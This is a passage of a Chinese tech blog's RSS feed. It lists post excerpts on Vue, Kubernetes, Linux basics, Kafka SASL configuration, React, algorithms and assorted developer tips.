      <description>1.设置&#xA;当打开的文件没有差异，但是却还是变红了，然后开合后变黑了，是设置没设好，照这里设置即可。&#xA;2.常用操作</description>
    </item>
    <item>
      <title>vue,使用elementui，实现表格点击每一行换个颜色</title>
      <link>https://bchobby.github.io/posts/3e75c9850a77dea875af3594012487f7/</link>
      <pubDate>Thu, 20 Apr 2023 11:17:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e75c9850a77dea875af3594012487f7/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;template&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34; style=&#34;width: 100%&#34; @row-click=&#34;clickData&#34; :row-class-name=&#34;tableRowClassName&#34; &amp;gt; &amp;lt;el-table-column prop=&#34;date&#34; label=&#34;日期&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;姓名&#34; width=&#34;180&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;address&#34; label=&#34;地址&#34;&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { tableData: [{ date: &#39;2016-05-02&#39;, name: &#39;王小虎&#39;, address: &#39;上海市普陀区金沙江路 1518 弄&#39; }, { date: &#39;2016-05-04&#39;, name: &#39;王小虎&#39;, address: &#39;上海市普陀区金沙江路 1517 弄&#39; }, { date: &#39;2016-05-01&#39;, name: &#39;王小虎&#39;, address: &#39;上海市普陀区金沙江路 1519 弄&#39; }, { date: &#39;2016-05-03&#39;, name: &#39;王小虎&#39;, address: &#39;上海市普陀区金沙江路 1516 弄&#39; }], abc:0 } }, methods:{ clickData(row) { console.</description>
    </item>
    <item>
      <title>转换CAJ到PDF: 教你如何转换这两种文件格式</title>
      <link>https://bchobby.github.io/posts/f5da133480ec099e9f965d5820d276c5/</link>
      <pubDate>Thu, 20 Apr 2023 10:46:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f5da133480ec099e9f965d5820d276c5/</guid>
      <description>在现代信息化社会中，我们常常需要处理各种文件格式，例如常见的文本文档、PDF、图片、视频等等。其中，学术界或者专业人士常常会接触到一种叫做CAJ格式的文件，而这个格式在阅读、编辑以及分享方面可能存在一些限制。为了解决这个问题，我们需要将CAJ格式的文件转换成PDF格式，这样就可以更方便地进行查阅、编辑和分享了。&#xA;CAJ格式文件通常指的是中国知网收录的文献，这种文件格式在国内学术界应用非常广泛。但是，由于知网对于CAJ格式的文件进行了加密处理，因此普通的PDF阅读器并不能够打开这种文件，而且CAJ格式文件相对于PDF格式的文件，也不太容易进行编辑和分享。所以，在这种情况下，我们需要将CAJ格式的文件转换成PDF格式的文件。&#xA;具体的转换过程如下：&#xA;1.下载CAJViewer软件&#xA;CAJViewer是中国知网提供的一款CAJ格式文献阅读软件，通过这个软件可以打开、阅读CAJ格式的文件。在进行转换之前，我们需要先安装这个软件。&#xA;2.打开CAJViewer软件并导出PDF文件&#xA;打开CAJViewer软件，选择需要转换的CAJ格式的文件并打开，然后在菜单栏中选择“文件”-&amp;gt;“导出为PDF”，即可将CAJ格式的文件转换为PDF格式的文件。&#xA;3.等待导出完成并保存文件&#xA;在导出PDF文件的过程中，需要等待一段时间，具体时间取决于文件的大小和您的计算机性能。当导出完成之后，您需要选择保存路径并保存文件。&#xA;如果您不想下载和安装CAJViewer软件，也可以使用记灵在线工具来进行CAJ格式文件的转换。&#xA;1.打开记灵在线工具网站&#xA;首先，在浏览器中输入“记灵在线工具”并打开该网站。&#xA;2.选择“CAJ转PDF”工具&#xA;在记灵在线工具网站中，选择“CAJ转PDF”工具。&#xA;3.上传CAJ格式文件并进行转换&#xA;在“CAJ转PDF”工具页面中，点击“上传文件”按钮，选择需要转换的CAJ格式文件并上传。然后，点击“转换”按钮进行转换。在转换过程中需要等待一段时间，具体时间取决于文件的大小和您的网络速度。&#xA;4.下载PDF格式文件&#xA;当转换完成之后，您可以点击“下载”按钮来下载转换后的PDF格式文件。并选择保存路径，保存文件即可。&#xA;总之，通过上述步骤，我们可以很容易地将CAJ格式的文件转换成PDF格式的文件，这样就可以更方便地进行查阅、编辑和分享了。但是需要注意的是，由于知网对于CAJ格式的文件进行了加密处理，因此在进行转换之前，需要确保您已经获得了相应的授权或者证书。</description>
    </item>
    <item>
      <title>如何提高图片清晰度？三种方法来帮你！</title>
      <link>https://bchobby.github.io/posts/ebde18bc9eb48f1186101935b1a1ea30/</link>
      <pubDate>Thu, 20 Apr 2023 10:10:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ebde18bc9eb48f1186101935b1a1ea30/</guid>
      <description>如何提高图片清晰度？图片在上传到网络后会被压缩，导致图片变得模糊。今天，我将分享三种方法，帮助您提高图片的清晰度。&#xA;方法一：使用记灵在线工具&#xA;工具地址：记灵在线工具 - 更专注于发现工具的实用性&#xA;该工具可以批量处理千张图片，处理速度快。但需要联网使用。&#xA;具体操作步骤：打开记灵在线工具，选择【图片变清晰】，提交文件进行在线处理，等待处理完成后下载转换好的图片文件。&#xA;方法二：使用Gigapixel AI&#xA;该软件操作简单，无隐私风险，但需要付费成本。&#xA;具体操作步骤：安装并启动Gigapixel AI软件，导入需要处理的图片，右侧可以调整参数，根据需求设置参数，设置完成后，点击【Save】按钮保存图片到本地。&#xA;方法三：使用AI算法扩大图&#xA;该方法无需下载任何软件，直接在网页端操作，但操作速度较慢。&#xA;具体操作步骤：打开AI算法扩大图网站，选择摄影图片或插画漫画，将图片上传到功能框内，设置好扩大图比例及其他参数，点击【确定】，等待图片扩大完成后，点击【下载】按钮下载处理完成的图片。&#xA;以上三种方法可以快速提高图片的清晰度，选择适合自己的方法即可。</description>
    </item>
    <item>
      <title>轻松掌握K8S命名空间、Pod、Deployment部署工具</title>
      <link>https://bchobby.github.io/posts/2ad5a2fa959308b7c34881816c23ac09/</link>
      <pubDate>Wed, 19 Apr 2023 21:14:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ad5a2fa959308b7c34881816c23ac09/</guid>
      <description>1、NameSpace命名空间 在官方可视化工具界面为如下&#xA;也可以使用kubectl命令行具体看使用命令行操作&#xA;2、Pod应用组 k8s所说的应用通常就是指pod，一个pod可以部署多个容器。容器间共享网络空间，共享存储&#xA;3、根据应用类型选择部署Pod的工具 k8s官方也有对着部分的说明&#xA;1、Deployment部署无状态应用 如微服务应用&#xA;控制Pod，使Pod拥有多副本，自愈，扩缩容等能力&#xA;1、应用自愈能力 使用Deployment部署的应用，如果该应用宕机了，会自动重新启动一个，不怕机器宕机，（即使使用kubectl delete 删除此应用，也会自动重新部署一个，只有使用对应Deployment的删除命令才能完全删除应用。）关于Depoyment的应用部署参考使用命令行操作内容。&#xA;机器断电了，会在正常的机器重新启动一份，这过程又称为故障转移&#xA;2、多副本应用 使用Deployment可以部署多副本应用，达到集群的目的，见使用命令行操作&#xA;3、扩缩容 可以根据应用的负载，进行扩缩容，也可以做到动态扩缩容能力。&#xA;4、滚动更新应用 如原先部署多个副本的nginx为1.6.0版本，现在要升级为1.6.2，则可以使用Deployment的滚动更新命令。&#xA;整个流程为现在一个节点启动一个新版本应用，成功启动后将这个节点旧的应用下线。然后依次将其他节点更新为新版本，好处可以无感知的更新应用。&#xA;5、回退旧版本应用 可以查到部署的历史版本，并指定回退到某个版本，同样使用了滚动更新的机制。</description>
    </item>
    <item>
      <title>vue3.2使用QrCode生成二维码</title>
      <link>https://bchobby.github.io/posts/89b6ddca067074fd78789afb80b04eb8/</link>
      <pubDate>Wed, 19 Apr 2023 21:11:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/89b6ddca067074fd78789afb80b04eb8/</guid>
      <description> 一、安装 npm install qrcode.vue --save 二、引入 import QrcodeVue from &#39;qrcode.vue&#39; 三、使用 &amp;lt;qrcode-vue :value=&#34;codeUrl&#34; :size=&#34;size&#34; level=&#34;H&#34; /&amp;gt; 参数说明：&#xA;value：二维码链接size：二维码大小level：二维码容错率 &#34;L&#34; | &#34;M&#34; | &#34;Q&#34; | &#34;H&#34; 四、完整代码 &amp;lt;template&amp;gt; &amp;lt;qrcode-vue :value=&#34;codeUrl&#34; :size=&#34;size&#34; level=&#34;H&#34; /&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script lang=&#34;ts&#34; setup&amp;gt; import QrcodeVue from &#39;qrcode.vue&#39; import {ref} from &#39;vue&#39; const codeUrl = ref(&#39;https://www.baidu.com&#39;) const size = ref&amp;lt;number&amp;gt;(180); &amp;lt;/script&amp;gt; </description>
    </item>
    <item>
      <title>VSDebug调试</title>
      <link>https://bchobby.github.io/posts/5d51199a43a483769d3b65727e541fa6/</link>
      <pubDate>Wed, 19 Apr 2023 20:15:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d51199a43a483769d3b65727e541fa6/</guid>
      <description> 一、插入间断点 在代码前面、行数前面的空白，左击插入间断点，右击插入条件间断点等其他种类的间断点，这里根据自己的需求。&#xA;二、调试 F10：逐过程，通常处理有个过程，一次过程可以是一个函数调用或者一条语句&#xA;F11：逐语句，就是每次都执行一条语句，但这个快捷键可以帮助我们进入函数内部（这个功能是最常用的）&#xA;注：开始调试之后，自动窗口会显示变量及内容，如图： </description>
    </item>
    <item>
      <title>简单使用Linux</title>
      <link>https://bchobby.github.io/posts/9616e58cb2fb7829180b9a5d752d583f/</link>
      <pubDate>Wed, 19 Apr 2023 17:23:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9616e58cb2fb7829180b9a5d752d583f/</guid>
      <description>目录&#xA;Linux的组成&#xA;使用桌面终端访问linux&#xA;字符命令&#xA;基础&#xA;查看网卡信息以及获取ip地址&#xA;远程连接Linux服务器&#xA;Xshell远程连接Linux&#xA;使用MobaXterm远程连接Linux&#xA;​编辑 远程操作命令&#xA;重置root密码&#xA;Linux的组成 Linux内核：内核是系统的核心，是运行程序和管理 像磁盘和打印机等硬件设备的核心程序。 文件系统: 文件存放在磁盘等存储设备上的组织方法。 Shell ： Shell 是系统的用户界面，提供了用户与内核进行交互操作的一种接口。 应用程序：包括文本编辑器、编程语言、 X Window 、办公套件、 Internet 工具、数据库等。 Linux 的操作界面常称为 Shell ， Shell 是操作系统提供给用户使用的界面（图形、字符），它提供了用户与内核进行交互操作的一种接口。当用户发出指令( 命令或鼠标操作 ) ，先将这些指令发送给 Shell ，由Shell将用户的指令翻译后传送给内核，再由内核来控制硬件的工作。然后内核将硬件的工作情况发送给Shell，并由 Shell 返回硬件的工作信息和情况。 shell又分为图形界面的和字符界面的shell，我们主要学习字符界面的bash。 使用桌面终端访问linux 终端：也称为终端设备，是计算机网络中处于网络最外围的设备，主要用于用户信息的输入以及处 理结果的输出等。 虚拟终端：同一台终端（物理设备）上虚拟出多个终端，它们之间互相不影响，这些终端就是虚拟 终端，默认有6 个，可通过 ctrl + alt +f[1/2/3/4/5/6] 来进行切换。 在活动概览中，从仪表板选择终端。 字符命令 在终端窗口上输入命令，命令的格式： 主命令 选项 参数（操作对象） 基础 1、查看当前linux的发行版信息&#xA;[root@localhost ~]# cat /etc/redhat-release 2、查看内核版本&#xA;[root@localhost ~]# uname -r 3、 查看 shell 的类型 [root@localhost ~]# cat /etc/shells /bin/sh /bin/bash /usr/bin/sh /usr/bin/bash 或</description>
    </item>
    <item>
      <title>linux系统unzip无法解压超大文件，大于4GB文件</title>
      <link>https://bchobby.github.io/posts/034e33a5250542ef2a965ecb6803307f/</link>
      <pubDate>Wed, 19 Apr 2023 17:15:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/034e33a5250542ef2a965ecb6803307f/</guid>
      <description>实习解决问题记录，Linux中解压zip文件最大不能超过4GB，这是因为unzip的缓存位数最大为2的是32次，刚好就是4GB，解压直接爆缓存。建议用tar文件压缩然后用tar -xvf filename.tar解压，该死的Linux系统限制，我弄了一下午。</description>
    </item>
    <item>
      <title>修改数据时，form表单重置resetFields无效原因</title>
      <link>https://bchobby.github.io/posts/182c231bd03a1aba3a1f66f556d59b93/</link>
      <pubDate>Wed, 19 Apr 2023 16:50:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/182c231bd03a1aba3a1f66f556d59b93/</guid>
      <description>错误代码：&#xA;editUser(data) { this.userDialog = true this.ifAction = false this.userForm = JSON.parse(JSON.stringify(data)) }) }, 正确代码：&#xA;editUser(data) { this.userDialog = true this.ifAction = false this.$nextTick(() =&amp;gt; { this.userForm = JSON.parse(JSON.stringify(data)) }) }, 原因：表单的resetFields是将表单数据重置为初始值，而不是清空内容，错误代码中，会在dialog挂载成功前就将值复制给表单了，则此时表单的初始值就不是空了，所以重置时会出现重置无效的感觉</description>
    </item>
    <item>
      <title>前端向后端请求数据，使用Vuex管理(加工)数据，动态展示数据（state仓库三连环），组件复用</title>
      <link>https://bchobby.github.io/posts/e9668c7258b2468a2fcf307c0c55ebfe/</link>
      <pubDate>Wed, 19 Apr 2023 16:18:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e9668c7258b2468a2fcf307c0c55ebfe/</guid>
      <description>Vuex使用，获取后端数据，展示（三连），组件复用 一、写api 使用mock模拟后端数据(链接)：https://blog.csdn.net/WinnerCC/article/details/130153124?spm=1001.2014.3001.5502&#xA;project &amp;gt; src &amp;gt; api &amp;gt; index.js&#xA;import mockRequets from &#39;./mockAjax&#39;; //获取floor数据 export const reqFloorList = () =&amp;gt; mockRequets.get(&#39;/floor&#39;); 二、vuex仓库获取并管理数据（state）（仓库三连环） 把vuex的原理图摆上，方便对着看&#xA;① Step1：组件派发Aciton Vue Components Dispatch Actions&#xA;project &amp;gt; src &amp;gt; pages &amp;gt; Home &amp;gt; index.vue&#xA;在组件要去获取数据的时机中，派发action&#xA;mounted() { this.$store.dispatch(&#34;getFloorList&#34;); } ②Step2：在Vuex中的Actions中获取数据 project &amp;gt; src &amp;gt; store&amp;gt; home.js&#xA;引入我们在一中写好的api：&#xA;import { reqFloorList } from &#34;@/api&#34;; 初始化数据&#xA;const state = { floorList:[], }; Actions中获取数据并commit给Mutations&#xA;actions中可以包含异步代码（定时器，Ajax等）&#xA;Actions中的函数能够接收到一个与store实例具有相同方法和属性的context对象（打印如下），这个对象中有个commit方法，是Actions用来向Mutation提交数据的&#xA;const actions = { async getFloorList({ commit }) { let result = await reqFloorList(); if (result.</description>
    </item>
    <item>
      <title>react 之 useState</title>
      <link>https://bchobby.github.io/posts/7895b5fd9c2df4047f2ecb5385024780/</link>
      <pubDate>Wed, 19 Apr 2023 15:57:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7895b5fd9c2df4047f2ecb5385024780/</guid>
      <description>参考：https://blog.csdn.net/Ljwen_/article/details/125319191&#xA;一、基本使用&#xA;useState是 react 提供的一个定义响应式变量的 hook 函数，基本语法如下：&#xA;const [count, setCount] = useState(initialCount) 它返回一个状态和一个修改状态的方法，状态需要通过这个方法来进行修改；&#xA;initialCount 是我们传入的一个初始状态，它是惰性的，我们可以通过传一个函数来返回一个值当作初始状态，并且这个函数只会在初始渲染时执行一次；&#xA;const [count, setCount] = useState(() =&amp;gt; { const initialCount = someExpensiveComputation(); return initialCount }) 接下来把定义好的状态运用到页面：&#xA;import { useState } from &#39;react&#39; function App() { const [count, setCount] = useState(0) const handleClick = () =&amp;gt; { setCount(count + 1) // 传入一个函数，更新的值是基于之前的值来执行 // setCount(count =&amp;gt; count + 1) } return ( &amp;lt;div&amp;gt; &amp;lt;h4&amp;gt;count: {count}&amp;lt;/h4&amp;gt; &amp;lt;button onClick={ handleClick }&amp;gt;点击更新状态&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; ) } 页面渲染完成后，我们可以看到 count的值是 0，当我们点击按钮时，会将 count的值加 1，页面也同时更新；</description>
    </item>
    <item>
      <title>算法——双指针技巧总结</title>
      <link>https://bchobby.github.io/posts/2b301edcbd86852d84bee6ff47f53108/</link>
      <pubDate>Wed, 19 Apr 2023 15:13:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b301edcbd86852d84bee6ff47f53108/</guid>
      <description>算法——双指针技巧总结 一、双指针二、链表快慢指针19.删除链表的倒数第 N 个结点双指针 206.反转链表思路：双指针法递归法 92.反转链表 II1.递归2.迭代（双指针头插法） 876.链表的中间结点常规思路双指针思路 141.环形链表（判断链表是否有环）双指针 142.环形链表 II（找链表的环入口）双指针 相交链表思路1思路2 三、数组快慢指针27.移除元素1.暴力解法2.双指针法（快慢指针法）3.双指针优化 26.删除有序数组中的重复项双指针法 80.删除有序数组中的重复项 II1.双指针法2.有序数组去重保留k位重复数的通法 283.移动零双指针法 四、左右指针977.有序数组的平方1.暴力排序解法2.双指针法（左右指针法） 344. 反转字符串 （数组）双指针 18. 四数之和双指针法 167. 两数之和 II - 输入有序数组870. 优势洗牌回文子串问题 五、二分查找与滑动窗口 一、双指针 双指针技巧可细分分为两类，一类是快慢指针，一类是左右指针。&#xA;前者解决主要解决链表中的问题，比如典型的判定链表中是否包含环、反转链表、找链表的中间节点、删除链表的倒数第 N 个结点；也用来解决数组中的问题，如移动/移除元素、删除有序数组中的重复项。&#xA;后者主要解决数组（或者字符串）中的问题，比如二分查找，滑动窗口。&#xA;二、链表快慢指针 快慢指针一般都初始化指向链表的头结点 head，前进时快指针 fast 在前，慢指针 slow 在后，可以巧妙解决一些链表中的问题。&#xA;19.删除链表的倒数第 N 个结点 19.删除链表的倒数第 N 个结点&#xA;给你一个链表，删除链表的倒数第 n 个结点，并且返回链表的头结点。&#xA;进阶：你能尝试使用一趟扫描实现吗？&#xA;示例 1：&#xA;输入：head = [1,2,3,4,5], n = 2 输出：[1,2,3,5]&#xA;示例 2：&#xA;输入：head = [1], n = 1 输出：[]</description>
    </item>
    <item>
      <title>一文带你了解javascript中的for...of循环</title>
      <link>https://bchobby.github.io/posts/c85f7f496762f76ef3c3cbd7cbe3e282/</link>
      <pubDate>Wed, 19 Apr 2023 14:59:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c85f7f496762f76ef3c3cbd7cbe3e282/</guid>
      <description>JavaScript 是一种非常流行的编程语言，用于前端和后端开发，以及各种 Web 应用程序。其中，for...of 循环是 JavaScript 中的一种重要循环结构，它能够帮助开发者遍历各种数据结构，从而更加高效地编写代码。本文将深入探讨 JavaScript 中的 for...of 循环，包括其语法、用法、应用场景以及一些实际的例子。&#xA;什么是 for...of 循环 for...of 循环是 JavaScript 中的一种循环结构，它可以用于遍历各种数据结构，例如数组、字符串、Map、Set 等。for...of 循环通常用于替代传统的 for 循环或 forEach 循环，因为它具有更加简洁和易读的语法，能够提高代码的可读性和可维护性。&#xA;在 JavaScript 中，for...of 循环的语法如下：&#xA;for (variable of iterable) { // code block to be executed } 其中，variable 是一个变量名，表示循环中每次迭代时的当前值，iterable 是一个可迭代对象，表示要遍历的数据结构。在每次循环中，变量 variable 将依次赋值为 iterable 中的每个元素，并执行一次 code block 中的代码。&#xA;在 for...of 循环中，可迭代对象可以是数组、字符串、Map、Set 等，但不能是对象。如果需要遍历对象中的属性，可以使用 for...in 循环。&#xA;for...of 循环的应用场景 for...of 循环在 JavaScript 中有许多应用场景，例如：&#xA;遍历数组 for...of 循环可以用于遍历数组中的所有元素，例如：&#xA;const arr = [1, 2, 3]; for (const element of arr) { console.</description>
    </item>
    <item>
      <title>UnityWebRequest.Post报错</title>
      <link>https://bchobby.github.io/posts/697d5c85360da6ac1446a656d38e7919/</link>
      <pubDate>Wed, 19 Apr 2023 14:08:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/697d5c85360da6ac1446a656d38e7919/</guid>
      <description>报错信息是：&#xA;看报错信息后端无法读取前端传递的数据格式，而且可以发现，为什么后端收到的数据中会有个 “%”，前端传的不是 Json 格式的数据吗？哪来的 % 呢？&#xA;不过看到这个 %，我大致可以猜到是进行了某种字符编码。应该是URLEncoded的问题。&#xA;上网搜索有更加详细的解释链接：&#xA;UnityWebRequest如何发送Json数据格式的Post请求，为什么使用UnityWebRequest.Post会报错？_unity post json_YY-nb的博客-CSDN博客&#xA;下面我用了一种比较笨的方法也能解决。&#xA;出错的请求是：&#xA;这里使用的笨方法是：&#xA;先用Put请求，完事再换成Post，也能解决这个问题。</description>
    </item>
    <item>
      <title>安装tidevice在Mac上报错：Defaulting to user installation because normal site-packages is not writeable</title>
      <link>https://bchobby.github.io/posts/c6662da2aeb21622af14f4055e244c7f/</link>
      <pubDate>Wed, 19 Apr 2023 11:33:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c6662da2aeb21622af14f4055e244c7f/</guid>
      <description>报错：&#xA;Defaulting to user installation because normal site-packages is not writeable&#xA;Requirement already satisfied: tidevice[openssl] in ./Library/Python/3.9/lib/python/site-packages (0.10.7)&#xA;Requirement already satisfied: Pillow in ./Library/Python/3.9/lib/python/site-packages (from tidevice[openssl]) (9.5.0)&#xA;添加环境变量&#xA;在vi ~/.zshrc添加：&#xA;export PATH=&#34;$HOME/Library/Python/3.9/bin:$PATH&#34; 再执行：&#xA;source ~/.zshrc 再执行：&#xA;tidevice --version 0.10.7</description>
    </item>
    <item>
      <title>【Kafka】SASL认证的Kafka客户端代码示例(spring-kafka和原生客户端)</title>
      <link>https://bchobby.github.io/posts/5b01875b39fcd386596560376d0d6a80/</link>
      <pubDate>Wed, 19 Apr 2023 11:22:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5b01875b39fcd386596560376d0d6a80/</guid>
      <description>文章目录 spring-kafka原生客户端Tips spring-kafka 添加依赖：&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.kafka&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-kafka&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;2.6.3&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; 添加spring-kafka相关配置：&#xA;#=============== 集群通用配置 ================ spring.kafka.bootstrap-servers=kafka-dyskevxt-headless.kafka-uat.svc.xke.test.xdf.cn:29092 spring.kafka.security.protocol=SASL_PLAINTEXT spring.kafka.properties.sasl.mechanism=PLAIN spring.kafka.properties.sasl.jaas.config=org.apache.kafka.common.security.plain.PlainLoginModule required username=&#34;zhurunhua&#34; password=&#34;pwd&#34;; #=============== producer ================= spring.kafka.producer.retries=5 # 每次批量发送消息的数量 spring.kafka.producer.batch-size=1000 spring.kafka.producer.buffer-memory=1000000 # 指定消息key和消息体的编解码方式 spring.kafka.producer.key-serializer=org.apache.kafka.common.serialization.StringSerializer spring.kafka.producer.value-serializer=org.apache.kafka.common.serialization.StringSerializer #=============== consumer ================== spring.kafka.consumer.group-id=zhurunhua-test-group spring.kafka.consumer.auto-offset-reset=earliest spring.kafka.consumer.enable-auto-commit=true spring.kafka.consumer.auto-commit-interval=100 spring.kafka.consumer.key-deserializer=org.apache.kafka.common.serialization.StringDeserializer spring.kafka.consumer.value-deserializer=org.apache.kafka.common.serialization.StringDeserializer 消费者：&#xA;@Component public class TestPlainConsumer { @KafkaListener(topics = {&#34;zhurunhua-test-topic&#34;}) public void consumer(ConsumerRecord&amp;lt;String, String&amp;gt; record) { System.out.println(record.value()); } } topic可以从配置文件读取，代码中通过${}的方式获取配置的topic：&#xA;@Component public class TestPlainConsumer { @KafkaListener(topics = {&#34;${kafka.subscribe.topic}&#34;}) public void consumer(ConsumerRecord&amp;lt;String, String&amp;gt; record) { System.</description>
    </item>
    <item>
      <title>你知道plot、fplot 和 ezplot 的区别吗？</title>
      <link>https://bchobby.github.io/posts/4078f4411da4e4ac7f7a40846f6234c1/</link>
      <pubDate>Wed, 19 Apr 2023 10:57:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4078f4411da4e4ac7f7a40846f6234c1/</guid>
      <description> plot、fplot 和 ezplot 都是 MATLAB 中用于绘制函数图像的三个函数，它们的主要区别如下：&#xA;1.plot 函数是 MATLAB 中最基本的绘图函数，用于绘制在二维坐标系中的数据点或曲线。需要手动指定自变量和因变量的向量或矩阵，并可以通过设置各种属性来调整绘图效果。&#xA;2.fplot 函数可以绘制函数的图像，输入一个函数的句柄或者字符串，然后绘制该函数在给定区间内的图像。fplot 可以绘制一些在直角坐标系中难以表达的曲线，比如极坐标和参数方程。&#xA;3.ezplot 函数也可以绘制函数的图像，输入一个函数的字符串，而不是句柄，然后绘制该函数在默认区间内的图像。ezplot 相比于 fplot 更加简单易用，不需要手动指定区间等参数，但同时也不支持一些高级的绘图功能。&#xA;总体来说，plot 函数适用于简单的数据点和曲线绘制，fplot 可以绘制更加复杂的函数图像，而 ezplot 则是最简单的绘图函数，适用于快速绘制简单函数的图像。&#xA;%画出sinx的图像 clear all x=linspace(-5,5,100);y=sin(x); subplot(1,3,1);plot(x,y,&#39;displayname&#39;,&#39;sinx&#39;); legend(&#39;show&#39;); subplot(1,3,2);fplot(@sin,[-5,5]); title(&#39;sin(x)&#39;); subplot(1,3,3);ezplot(&#39;sin(x)&#39;,[-5,5]); </description>
    </item>
    <item>
      <title>Mac的日常操作</title>
      <link>https://bchobby.github.io/posts/d1032ae851cafbf240fb4029020cfc6f/</link>
      <pubDate>Wed, 19 Apr 2023 10:47:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d1032ae851cafbf240fb4029020cfc6f/</guid>
      <description> 关于mac查找指定路径下文件的方法： 打开访达快捷键 command+shift+G 打开前往文件夹的窗口粘贴指定路径前往指定文件位置 关于mac中复制文件路径的方法： 打开访达找到指定文件/文件夹将文件/文件夹拖至浏览器的地址栏地址栏显示文件路径，复制即可用 </description>
    </item>
    <item>
      <title>Python将数组直接转化为可读字符串</title>
      <link>https://bchobby.github.io/posts/f772f6c3132229b2f36390fd46359e8a/</link>
      <pubDate>Wed, 19 Apr 2023 10:47:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f772f6c3132229b2f36390fd46359e8a/</guid>
      <description>如果希望将一个NumPy数组转换为可读的字符串，可以使用numpy.array2string()函数。该函数可以指定一系列选项对数组输出格式进行设置，包括指定小数点后的位数、是否打印数组边界、是否换行等等。&#xA;import numpy as np arr = np.array([1, 2, 3, 4, 5, 6]) # 将数组转换为可读字符串 target_arr = np.array2string(arr, separator=&#39;, &#39;, formatter={&#39;all&#39;: lambda x: &#39;{:.5f}&#39;.format(x)}, suppress_small=True) print(target_arr) print(type(target_arr)) 在这个例子中，我们使用了一个’options’参数字典来设置输出格式的选项。formatter选项使用lambda表达式对每个元素进行格式化，而suppress_small选项则指定小数点后的位数。&#xA;输出结果如下：&#xA;[1.00000, 2.00000, 3.00000, 4.00000, 5.00000, 6.00000] &amp;lt;class &#39;str&#39;&amp;gt; 进程已结束,退出代码0 注意：这个操作会把数组转化成字符串格式，同时会保留数组的[ ]，如果介意请用下面的形式：&#xA;import numpy as np # 创建包含5个整数的数组 arr = np.array([1, 2, 3, 4, 5]) # 将数组转换为字符串 str_arr = np.array_str(arr) # 或者使用 np.ndarray.tostring() # str_arr = arr.tostring() # 删除方括号和换行符 str_arr = str_arr.</description>
    </item>
    <item>
      <title>nacos登录 提示权限认证失败 没有命名空间的访问权限</title>
      <link>https://bchobby.github.io/posts/fa0dadb879818d696f1f4dd74a900680/</link>
      <pubDate>Wed, 19 Apr 2023 10:35:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fa0dadb879818d696f1f4dd74a900680/</guid>
      <description>前言 环境：centos7.9 nacos-2.2.2&#xA;问题描述 最近在部署nacos-2.2.2版本的时候，这是目前2023年4月份最新版本，发现按照start.out日志给出的登录地址，http://192.168.158.128:8848/nacos/index.html登录，发现总是提示一个&#34;user not found！权限认证失败，没有命名空间的访问权限&#34; 这个弹窗，如下所示：&#xA;即使登录进去给所有的命名空间绑定ROLE_ADMIN角色，还是一样。后来发现使用http://192.168.158.128:8848/nacos/index.html时，URL会自动补全http://192.168.158.128:8848/nacos/index.html#/login?namespace=&amp;amp;pageSize=&amp;amp;pageNo= ，怀疑就是由于后面补全的这段URL造成的。&#xA;而且登录进去后，重新退出来，发现URL变成了http://192.168.158.128:8848/nacos/#/login，没有那个权限不足的弹窗了，&#xA;后来直接使用http://192.168.158.128:8848/nacos/#/login就再也没有弹窗提示了。&#xA;以上问题的原因，怀疑是不是nacos-2.2.2这个版本有bug，因为官方说从 nacos-2.2.1版本之后，配置文件里面的auth相关的用户认证的参数需要自己填写值，这个地址https://nacos.io/zh-cn/docs/v2/guide/user/auth.html说明了认证相关的参数怎么配置。</description>
    </item>
    <item>
      <title>jmeter生成html测试报告</title>
      <link>https://bchobby.github.io/posts/d19a0a5e429f2fadc8194d2280faa09e/</link>
      <pubDate>Wed, 19 Apr 2023 09:53:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d19a0a5e429f2fadc8194d2280faa09e/</guid>
